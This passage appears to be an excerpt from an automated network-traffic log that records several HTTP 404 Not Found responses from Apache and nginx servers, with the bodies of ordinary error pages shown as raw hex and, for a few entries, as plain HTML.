20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 05:59:47 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 05:59:49 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 27 Aug 2024 05:59:55 GMTContent-Type: text/htmlContent-Length: 3971Connection: closeETag: "6526681e-f83"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 27 Aug 2024 05:59:58 GMTContent-Type: text/htmlContent-Length: 3971Connection: closeETag: "6526681e-f83"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 27 Aug 2024 06:00:01 GMTContent-Type: text/htmlContent-Length: 3971Connection: closeETag: "6526681e-f83"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 27 Aug 2024 06:00:04 GMTContent-Type: text/htmlContent-Length: 3971Connection: closeETag: "6526681e-f83"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:00:10 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a62378-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:00:12 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a62378-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
